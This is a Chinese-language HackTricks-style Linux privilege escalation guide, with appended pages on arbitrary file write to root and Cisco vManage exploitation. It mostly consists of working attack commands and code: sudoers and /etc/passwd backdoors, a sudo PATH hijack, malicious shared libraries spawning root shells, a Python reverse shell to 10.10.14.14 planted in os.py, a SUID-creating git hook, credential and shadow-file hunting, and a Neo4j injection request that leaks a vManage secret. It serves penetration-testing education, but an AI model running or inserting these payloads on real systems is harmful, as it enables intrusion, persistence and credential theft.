### /etc/sudoers, /etc/sudoers.d

文件`/etc/sudoers`和`/etc/sudoers.d`目录中的文件配置了谁可以使用`sudo`以及如何使用。这些文件**默认情况下只能被root用户和root组读取**。\
**如果**你能**读取**这个文件，你可能能够**获取一些有趣的信息**，如果你能**写入**任何文件，你将能够**提升权限**。

```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```

如果你可以写入，你可以滥用这个权限

```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```

另一种滥用这些权限的方法：

```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```

### DOAS

有一些替代`sudo`二进制文件的选择，比如OpenBSD的`doas`，记得检查其配置在`/etc/doas.conf`中。

```
permit nopass demo as root cmd vim
```

### Sudo劫持

如果你知道一个**用户通常连接到一台机器并使用 `sudo`** 来提升权限，而你已经在该用户上下文中获得了一个shell，你可以**创建一个新的sudo可执行文件**，该文件将以root权限执行你的代码，然后执行用户的命令。然后，**修改用户上下文中的$PATH**（例如在 .bash\_profile 中添加新路径），这样当用户执行sudo时，将执行你的sudo可执行文件。

请注意，如果用户使用不同的shell（不是bash），你将需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)中找到另一个示例。

或者运行类似以下内容：

```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls
```

## 共享库

### ld.so

文件`/etc/ld.so.conf`指示**加载的配置文件来源**。通常，此文件包含以下路径：`include /etc/ld.so.conf.d/*.conf`

这意味着将读取`/etc/ld.so.conf.d/*.conf`中的配置文件。这些配置文件**指向其他文件夹**，其中将**搜索库**。例如，`/etc/ld.so.conf.d/libc.conf`的内容是`/usr/local/lib`。**这意味着系统将在`/usr/local/lib`内搜索库**。

如果由于某种原因**用户对所指示的任何路径**：`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/`内的任何文件或`/etc/ld.so.conf.d/*.conf`内的任何文件夹具有写权限，他可能能够升级权限。\
查看如何在以下页面**利用此错误配置**：

{% content-ref url="/pages/TCG08nEleFB7x0tpdZYq" %}
[ld.so privesc exploit example](/linux-hardening/privilege-escalation/ld.so.conf-example)
{% endcontent-ref %}

### RPATH

```
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```

通过将lib复制到`/var/tmp/flag15/`中，程序将在此位置使用它，如`RPATH`变量中指定的那样。

```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```

然后在`/var/tmp`中使用`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`创建一个恶意库。

```c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```

## 能力

Linux 能力为进程提供了**一部分可用的 root 特权**。这有效地将 root **特权分割为更小且独特的单元**。然后可以独立地将这些单元授予进程。这样，特权的完整集合被减少，降低了利用风险。\
阅读以下页面以**了解更多关于能力以及如何滥用它们**：

{% content-ref url="/pages/OHuzBhvUEH3MrP5cC9Ck" %}
[Linux Capabilities](/linux-hardening/privilege-escalation/linux-capabilities)
{% endcontent-ref %}

## 目录权限

在目录中，**"执行"** 位意味着受影响的用户可以**进入**文件夹。\
**"读取"** 位意味着用户可以**列出**文件，而\*\*"写入"\*\* 位意味着用户可以**删除**和**创建**新的**文件**。

## ACLs

访问控制列表（ACL）代表了可**覆盖传统 ugo/rwx 权限**的次级自由权限层。这些权限通过允许或拒绝对不是所有者或组成员的特定用户的权限，增强了对文件或目录访问的控制。这种**粒度确保了更精确的访问管理**。更多详细信息可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。

**授予**用户"kali"对文件的读取和写入权限：

```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file
```

**获取**系统中具有特定ACL的文件：

```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```

## 打开shell会话

在旧版本中，您可能会劫持不同用户（root）的某些shell会话。\
在最新版本中，您只能连接到自己用户的screen会话。但是，您可能会在会话中找到有趣的信息。

### screen会话劫持

**列出screen会话**

```bash
screen -ls
screen -ls <username>/ # Show another user' screen sessions
```

**附加到会话**

To attach to a session, you can use tools like `screen`, `tmux`, or `byobu`. These tools allow you to connect to an existing terminal session, which can be useful for maintaining access to a target system even if the original SSH session is terminated.

```bash
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```

## tmux会话劫持

这是**旧版tmux版本**的一个问题。我无法劫持由root创建的tmux会话（v2.1）作为非特权用户。

**列出tmux会话**

```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
```

**附加到会话**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-742df294b508deead65eeb0da2e9280b6fbaf295%2Fimage%20\(834\).png?alt=media)

```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```

查看**HTB的情人节盒子**作为一个例子。

## SSH

### Debian OpenSSL可预测PRNG - CVE-2008-0166

在基于Debian的系统（如Ubuntu，Kubuntu等）上生成的所有SSL和SSH密钥在2006年9月至2008年5月13日之间可能受到此漏洞的影响。\
当在这些操作系统上创建新的ssh密钥时，会出现此漏洞，因为**只有32,768种变化是可能的**。这意味着所有可能性都可以被计算出来，**拥有ssh公钥后，您可以搜索相应的私钥**。您可以在这里找到计算出的可能性：<https://github.com/g0tmi1k/debian-ssh>

### SSH有趣的配置值

* **PasswordAuthentication:** 指定是否允许密码身份验证。默认值为 `no`。
* **PubkeyAuthentication:** 指定是否允许公钥身份验证。默认值为 `yes`。
* **PermitEmptyPasswords**: 当允许密码身份验证时，指定服务器是否允许登录到具有空密码字符串的帐户。默认值为 `no`。

### PermitRootLogin

指定是否允许root使用ssh登录，默认为 `no`。可能的值：

* `yes`: root可以使用密码和私钥登录
* `without-password` 或 `prohibit-password`: root只能使用私钥登录
* `forced-commands-only`: root只能使用私钥登录，如果指定了命令选项
* `no` : 否

### AuthorizedKeysFile

指定包含可用于用户身份验证的公钥的文件。它可以包含诸如`%h`这样的令牌，该令牌将被主目录替换。**您可以指定绝对路径**（从`/`开始）或**相对于用户主目录的相对路径**。例如：

```bash
AuthorizedKeysFile    .ssh/authorized_keys access
```

那个配置将指示，如果您尝试使用用户“**testusername**”的**私钥**登录，ssh将会将您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥进行比较。

### ForwardAgent/AllowAgentForwarding

SSH代理转发允许您**使用本地SSH密钥**，而不是让密钥（没有密码！）保留在服务器上。因此，您将能够通过ssh**跳转**到一个主机，然后从那里**使用**位于您**初始主机**上的**密钥\*\*\*\*跳转到另一个**主机。

您需要在`$HOME/.ssh.config`中设置此选项，如下所示：

```
Host example.com
ForwardAgent yes
```

注意，如果`Host`是`*`，每次用户跳转到另一台机器时，该主机将能够访问密钥（这是一个安全问题）。

文件`/etc/ssh_config`可以**覆盖**这个**选项**，允许或拒绝这个配置。\
文件`/etc/sshd_config`可以**允许**或**拒绝**ssh-agent转发，关键字是`AllowAgentForwarding`（默认是允许）。

如果发现在一个环境中配置了转发代理，请阅读以下页面，**您可能可以利用它来提升权限**：

{% content-ref url="/pages/3Bn6zm5zKinsoeMXh7EL" %}
[SSH Forward Agent exploitation](/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation)
{% endcontent-ref %}

## 有趣的文件

### 配置文件

文件`/etc/profile`和`/etc/profile.d/`目录下的文件是**用户运行新shell时执行的脚本**。因此，如果您可以**编写或修改其中任何一个，您就可以提升权限**。

```bash
ls -l /etc/profile /etc/profile.d/
```

如果发现任何奇怪的配置文件，应检查其中是否包含**敏感信息**。

### Passwd/Shadow Files

根据操作系统的不同，`/etc/passwd` 和 `/etc/shadow` 文件的名称可能不同，或者可能有备份文件。因此建议**找到所有这些文件**，并**检查是否可以读取**这些文件，以查看文件中是否包含**哈希值**：

```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```

在某些情况下，您可以在 `/etc/passwd`（或等效文件）中找到**密码哈希值**

```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```

### 可写的 /etc/passwd

首先，使用以下命令之一生成密码。

```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```

然后添加用户 `hacker` 并添加生成的密码。

```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```

例如：`hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`

您现在可以使用`su`命令与`hacker:hacker`一起使用

或者，您可以使用以下行添加一个没有密码的虚拟用户。\
警告：这可能会降低机器当前的安全性。

```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```

**注意：在BSD平台上，`/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，`/etc/shadow` 被重命名为 `/etc/spwd.db`。**

你应该检查是否可以**写入一些敏感文件**。例如，你能写入一些**服务配置文件**吗？

```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```

例如，如果机器正在运行一个**tomcat**服务器，并且你可以**修改位于 /etc/systemd/ 内的 Tomcat 服务配置文件**，那么你可以修改以下行：

```
ExecStart=/path/to/backdoor
User=root
Group=root
```

### 检查文件夹

以下文件夹可能包含备份或有趣的信息：**/tmp**，**/var/tmp**，**/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**（可能无法读取最后一个，但尝试一下）

```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```

### 奇怪的位置/被拥有的文件

```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
```

### 最近几分钟内修改的文件

```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```

### Sqlite数据库文件

```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```

### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件

```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```

### 隐藏文件

```bash
find / -type f -iname ".*" -ls 2>/dev/null
```

### **路径中的脚本/可执行文件**

```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
```

### **Web文件**

```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```

### **备份**

```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```

### 已知包含密码的文件

阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它搜索**可能包含密码的多个文件**。\
另一个有趣的工具是：[**LaZagne**](https://github.com/AlessandroZ/LaZagne)，它是一个开源应用程序，用于检索存储在Windows、Linux和Mac本地计算机上的许多密码。

### 日志

如果你能读取日志，可能会发现其中包含**有趣/机密信息**。日志越奇怪，可能就越有趣。\
此外，一些“**不好的**”配置（后门？）的**审计日志**可能允许你在审计日志中**记录密码**，如本文所述：<https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/>。

```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```

为了**读取日志组** [**adm**](/linux-hardening/privilege-escalation/interesting-groups-linux-pe#adm-group) 将非常有帮助。

### Shell 文件

```bash
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```

### 通用凭证搜索/正则表达式

您还应检查包含单词“**password**”在其**名称**或内容中的文件，并在日志中检查IP和电子邮件，或哈希正则表达式。\
我不会在这里列出如何执行所有这些操作，但如果您感兴趣，可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。

## 可写文件

### Python库劫持

如果您知道一个Python脚本将从**哪里**执行，并且您**可以在**该文件夹中写入或者您可以**修改Python库**，您可以修改OS库并在其中设置后门（如果您可以在Python脚本将要执行的位置写入，请复制并粘贴os.py库）。

要**设置库后门**，只需在os.py库的末尾添加以下行（更改IP和端口）：

```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

### Logrotate利用

`logrotate`中的一个漏洞允许具有**对日志文件或其父目录的写权限**的用户可能获得提升的特权。这是因为`logrotate`通常以**root**身份运行，可以被操纵以执行任意文件，特别是在\_**/etc/bash\_completion.d/**\_等目录中。重要的是要检查权限不仅在\_var/log\_中，还要在应用日志轮换的任何目录中。

{% hint style="info" %}
此漏洞影响`logrotate`版本`3.18.0`及更旧版本
{% endhint %}

有关漏洞的更详细信息可以在此页面找到：<https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition>。

您可以利用[**logrotten**](https://github.com/whotwagner/logrotten)这个漏洞。

此漏洞与[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) \*\*(nginx日志)\*\*非常相似，因此每当发现可以更改日志时，请检查谁正在管理这些日志，并检查是否可以通过符号链接替换日志以提升特权。

### /etc/sysconfig/network-scripts/ (Centos/Redhat)

**漏洞参考：** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)

如果出于任何原因，用户能够**写入**一个`ifcf-<whatever>`脚本到\_/etc/sysconfig/network-scripts\_ **或**可以**调整**现有脚本，那么您的**系统已被入侵**。

网络脚本，例如\_ifcg-eth0\_用于网络连接。它们看起来像.INI文件。但是，在Linux上，它们是通过Network Manager（dispatcher.d）\~源\~的。

在我的情况下，这些网络脚本中的`NAME=`属性未被正确处理。如果名称中有**空格，系统会尝试执行空格后面的部分**。这意味着**第一个空格后的所有内容都将以root身份执行**。

例如：*/etc/sysconfig/network-scripts/ifcfg-1337*

```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```

### **init、init.d、systemd 和 rc.d**

目录 `/etc/init.d` 存放着 System V init（SysVinit）的**脚本**，这是经典的 Linux 服务管理系统。它包括用于 `start`、`stop`、`restart` 以及有时 `reload` 服务的脚本。这些脚本可以直接执行，也可以通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中的另一条路径是 `/etc/rc.d/init.d`。

另一方面，`/etc/init` 与 **Upstart** 相关联，这是由 Ubuntu 引入的较新的**服务管理**，使用配置文件来执行服务管理任务。尽管过渡到 Upstart，由于 Upstart 中的兼容性层，SysVinit 脚本仍然与 Upstart 配置一起使用。

**systemd** 是一种现代化的初始化和服务管理器，提供高级功能，如按需启动守护进程、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发软件包，以及 `/etc/systemd/system/` 用于管理员修改，简化了系统管理过程。

## 其他技巧

### NFS 特权升级

{% content-ref url="/pages/6asxp4R2LXP6Dn4u8hv2" %}
[NFS no\_root\_squash/no\_all\_squash misconfiguration PE](/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe)
{% endcontent-ref %}

### 从受限制的 Shell 中逃逸

{% content-ref url="/pages/oWTkng8ckk4TOwT4a6ba" %}
[Escaping from Jails](/linux-hardening/privilege-escalation/escaping-from-limited-bash)
{% endcontent-ref %}

### Cisco - vmanage

{% content-ref url="/pages/3wNp1MGxfEcioJY7YgTd" %}
[Cisco - vmanage](/linux-hardening/privilege-escalation/cisco-vmanage)
{% endcontent-ref %}

## 内核安全保护

* <https://github.com/a13xp0p0v/kconfig-hardened-check>
* <https://github.com/a13xp0p0v/linux-kernel-defence-map>

## 更多帮助

[静态impacket二进制文件](https://github.com/ropnop/impacket_static_binaries)

## Linux/Unix 特权升级工具

### **查找 Linux 本地特权升级向量的最佳工具：** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

**LinEnum**: <https://github.com/rebootuser/LinEnum>(-t 选项)\
**Enumy**: <https://github.com/luke-goddard/enumy>\
**Unix Privesc Check:** <http://pentestmonkey.net/tools/audit/unix-privesc-check>\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** <https://github.com/AlessandroZ/BeRoot/tree/master/Linux>\
**Kernelpop:** 枚举 Linux 和 MAC 中的内核漏洞 <https://github.com/spencerdodd/kernelpop>\
**Mestaploit:** ***multi/recon/local\_exploit\_suggester***\
**Linux Exploit Suggester:** <https://github.com/mzet-/linux-exploit-suggester>\
**EvilAbigail (物理访问):** <https://github.com/GDSSecurity/EvilAbigail>\
**更多脚本的汇编**: <https://github.com/1N3/PrivEsc>

## 参考资料

* <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>\\
* <https://payatu.com/guide-linux-privilege-escalation/>\\
* <https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744>\\
* <http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html>\\
* <https://touhidshaikh.com/blog/?p=827>\\
* <https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf>\\
* <https://github.com/frizb/Linux-Privilege-Escalation>\\
* <https://github.com/lucyoa/kernel-exploits>\\
* <https://github.com/rtcrowley/linux-private-i>
* <https://www.linux.com/news/what-socket/>
* <https://muzec0318.github.io/posts/PG/peppo.html>
* <https://www.linuxjournal.com/article/7744>
* <https://blog.certcube.com/suid-executables-linux-privilege-escalation/>
* <https://juggernaut-sec.com/sudo-part-2-lpe>
* <https://linuxconfig.org/how-to-manage-acls-on-linux>
* <https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f>
* <https://www.linode.com/docs/guides/what-is-systemd/>

<details>

<summary><strong>从零开始学习 AWS 黑客技能，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们。\*\*
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Arbitrary File Write to Root

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### /etc/ld.so.preload

这个文件的行为类似于\*\*`LD_PRELOAD`**环境变量，但它也适用于**SUID二进制文件\*\*。\
如果您可以创建或修改它，只需添加一个**将随每个执行的二进制文件一起加载的库的路径**。

例如：`echo "/tmp/pe.so" > /etc/ld.so.preload`

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```

### Git hooks

[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件（例如创建提交，合并等）上运行的**脚本**。因此，如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**，这可能被用于**提权**。

例如，可以在git存储库的\*\*`.git/hooks`\*\*中生成一个脚本，以便在创建新提交时始终执行：

```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```

### Cron & Time files

待办事项

### Service & Socket files

待办事项

### binfmt\_misc

位于`/proc/sys/fs/binfmt_misc`的文件指示哪个二进制文件应该执行哪种类型的文件。待办事项：检查滥用此功能以在打开常见文件类型时执行反向shell的要求。


# Cisco - vmanage

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**吗？ 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## 路径 1

(示例来自<https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html>)

在查阅一些与`confd`和不同二进制文件相关的[文档](http://66.218.245.39/doc/html/rn03re18.html)后（可通过Cisco网站上的帐户访问），我们发现为了对IPC套接字进行身份验证，它使用位于`/etc/confd/confd_ipc_secret`中的一个密钥：

```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```

记得我们的Neo4j实例吗？它是在`vmanage`用户的权限下运行的，因此允许我们使用先前的漏洞检索文件：

```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```

`confd_cli`程序不支持命令行参数，但会调用`/usr/bin/confd_cli_user`并传递参数。因此，我们可以直接调用`/usr/bin/confd_cli_user`并附上我们自己的参数。然而，由于我们当前的权限无法读取，所以我们需要从rootfs中检索它并使用scp进行复制，读取帮助信息，然后使用它获取shell：

```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)
```

## 路径 2

(示例来自 <https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77>)

synacktiv 团队的博客¹ 描述了一种优雅的方式来获取 root shell，但需要注意的是，这需要获取 `/usr/bin/confd_cli_user` 的副本，而该文件只能被 root 读取。我找到了另一种无需这么麻烦就能升级到 root 的方法。

当我反汇编 `/usr/bin/confd_cli` 二进制文件时，我观察到以下内容：

```
vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3              mov    %rax,%rbx
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
401664: e8 17 f8 ff ff        callq  400e80 <getenv@plt>
401669: 49 89 c4              mov    %rax,%r12
40166c: 48 85 db              test   %rbx,%rbx
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
401674: 48 0f 44 d8           cmove  %rax,%rbx
401678: 4d 85 e4              test   %r12,%r12
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
401680: 4c 0f 44 e0           cmove  %rax,%r12
401684: e8 b7 f8 ff ff        callq  400f40 <getuid@plt>  <-- HERE
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
